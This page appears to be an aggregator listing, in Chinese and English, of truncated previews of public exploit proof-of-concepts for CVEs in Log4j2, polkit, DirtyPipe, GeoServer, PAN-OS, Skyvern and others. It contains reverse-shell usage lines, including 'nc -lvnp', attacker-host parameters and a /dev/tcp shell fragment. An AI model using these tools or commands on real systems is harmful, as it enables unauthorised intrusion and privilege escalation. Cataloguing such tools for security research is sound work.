CVE-2025-49619

CVE-2025-49619 PoC 该脚本利用 Skyvern 中的 CVE-2025-49619 漏洞执行反弹 shell 命令。 作者 姓名： Cristian Branet GitHub： cristibtz 使用方法 1. 启动监听器 root@kitploit: nc -lvnp 2. 运行漏洞利用程序 root@kitploit: python3 exploit.py -u "http://:" -k "" -i -p ：Skyvern 服务器 IP ：Skyvern 服务器端口 ：你的 Skyvern API 密钥（设置 → API 密钥） ：用于接收反弹 shell...

staystaystay

staystaystay staystaystay 是一个针对 CVE-2021-1585 的概念验证漏洞利用程序，该漏洞是影响 Cisco ASA Device Manager ASDM 的中间人或恶意端点 RCE 问题。该问题最初由 Malcolm Lashley 发现并在 2021 年夏季披露。然而，在我研究此问题时，最新版本 ASDM 7.171 仍未修补，我独立发现了它。 Cisco 在 ASDM 7.181.152 中“修复”了此问题。我之所以说“修复”，是因为此漏洞利用仍然有效。用户只需点击“是”。请观看下面的视频。 攻击者可以配置两种类型的有效载荷来获取受害者的反向...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 使用方法 root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l Attacker...

cve-2022-31898

cve-2022-31898 CVE-2022-31898的漏洞利用POC代码，针对固件版本低于3.215的GL-iNet路由器的命令注入漏洞。 用法 root@kitploit: ./cve-2022-31898.py -h usage: cve-2022-31898.py -h -R RHOST -P RPORT -L LHOST -l LPORT -p PWD -t options: -h, --help show this help message and exit -R RHOST, --rhost RHOST IP/hostname of Mango router -P...

CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞的利用代码 只需执行 make 和 ./cve-2021-4034，即可获得 root shell。 原始通告由真实作者发布于此处 PoC 如果利用成功，你将立即获得 root shell： root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT/...

-CVE-2023-30845

CVE-2023-30845 这是一个用于在多子域上自动执行CVE-2023-30845的脚本 使用方法: 克隆仓库| 给文件权限| 运行文件 ---|---|--- https://github.com/himori123/-CVE-2023-30845.git| chmod +x CVE-2023-30845.sh| ./CVE-2023-30845.sh...

tpwn-bis

tpwn-bis 针对 cve-2015-5932 / cve-2015-5847 / cve-2015-5864 的简单 POC 现已可提权至 root 并生成一个 shell。 非常感谢 @qwertyoruiop 提供的原始代码和帮助！...

CVE-2026-77422

JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in grep command in builtins/src/main/java/org/jline/builtins/PosixCommands.java accepts a user-controlled regular expression in grep... and, unless line-regexp mode is used, automatically adds ...

CVE-2024-36401

CVE-2024-36401 的 RCE CVE-2024-36401 GeoServer 的 POC。该 POC 将尝试从目标建立反向系统 shell。 概述 CVE-2024-36401 的 POC：针对 GeoServer 2.25.1、2.24.3 和 2.23.5 之前版本的 RCE。此 POC 基于 phith0n 的安全公告。 工作原理 1. 在您的机器上设置监听器，等待目标返回反向 shell。 2. 该 POC 将发送一个带有 payload 的 POST 请求。 3. 尝试在目标服务器上建立 shell。 4. 此技术假定目标上已安装 nc。 使用方法 该 POC...

mpDNS

mpDNS aka multi-purpose DNS Server Simple, configurable DNS Server with multiple useful features Python 3 names.db - holds all custom records see examples Simple wildcards like .example.com Catch unicode dns requests Custom actions aka macro: shellexec::dig google.com +short - Execute shell comma...

CVE-2024-9474

PAN-OS CVE-2024-0012 and CVE-2024-9474 Python script generated from the blog post : https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/?123 It's all described there My comment on X : https://x.com/k4nfr3/status/1858993646923903103 reverse shell...

CVE-2017-0213

CVE-2017-0213 我使用了 Google Project Zero 团队在此处提供的代码：https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213 我所做的更改允许程序调用一个 powershell 单行命令，从而在目标上为我提供一个 Empire agent。 我将通过 Empire 使用它进行权限提升。 我知道这不是一个 powershell/python 脚本，所以有点违背了 Empire 的精神……但没关系；它能让我获得一个系统 shell，我喜欢这样 :...

Spring4Shell-POC

Spring4Shell-POC Local reproduction process of Spring4Shell vulnerability Environment Preparation Environment: docker, docker-compose mvn package, generate ./target/ROOT.warshell mvn package root@kitploit: Start the serviceshell docker-compose up -d Stop serviceshell docker-compose down...

shlol

SHLOL This is a menu you can trigger with a keybind to do basic stuff for you Really easy to use Create listeners on the fly No copy pasting needed Choose the type, IP and PORT and you are done! Run remote scripts easily Reverse Shell Generator...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2025-6019

CVE-2025-6019 概念验证 PoC 此仓库包含针对 CVE-2025-6019 的概念验证 PoC 脚本，该漏洞是 libblockdev 和 udisks 中的本地权限提升 LPE 漏洞。该脚本创建一个包含 SUID bash 二进制的 XFS 文件系统镜像，并利用该漏洞在不使用 nosuid 选项的情况下挂载它，从而获得 root shell。 警告 ：此 PoC 仅用于教育和测试目的。只能在您有权测试的系统上使用。未经授权使用是非法且不道德的。 特性 本地模式 ：创建一个 300 MB 的 XFS 镜像，包含 SUID bash 二进制（需要 root 权限）。 目标模式...

gimmeSH

gimmeSH For pentesters who don't wanna leave their terminals. Few Words gimmeSH, is a tool that generates a custom cheatsheet for Reverse Shell, File Transfer and Msfvenom within your terminal, you just need to provide the platform, your Internet protocol address and your port number. Installatio...

DirtyPipePython

dirty.py 描述 这是针对 Linux 内核漏洞 CVE-2022-0847（DirtyPipe）的漏洞利用代码，该漏洞由 Max Kellerman 发现。 此代码将两个现有的 DirtyPipe POC 合并为一个： febinrev 覆写 sudo 二进制文件以直接弹出 root shell eremus-dev 将 Kellerman 的 POC 直接复制到 Python 中 此代码检查以下内容： /etc/passwd 是否可以被覆写以获得 root shell sudo 二进制文件是否可以被覆写以获得 root shell su 二进制文件是否可以被覆写以获得 root...

CVE-2022-22947

复制自 原始来源： https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947...

CVE-2024-21546

CVE-2024-21546 Python漏洞利用脚本 🔥 描述 该Python漏洞利用脚本针对由UniSharp 创建的存在漏洞的Laravel文件管理器，允许认证用户绕过文件限制并上传恶意文件。当上传的有效负载被触发时，可能导致远程代码执行RCE 。 该漏洞利用执行以下操作： 验证用户提供的laravelsession 通过正则表达式提取CSRF token 上传包含PHP反弹Shell有效负载的假PNG文件 触发上传的文件 ⚠️ 受影响版本 2.9.1及更早版本 ⚙️ 用法 root@kitploit: python3 CVE-2024-21546.py...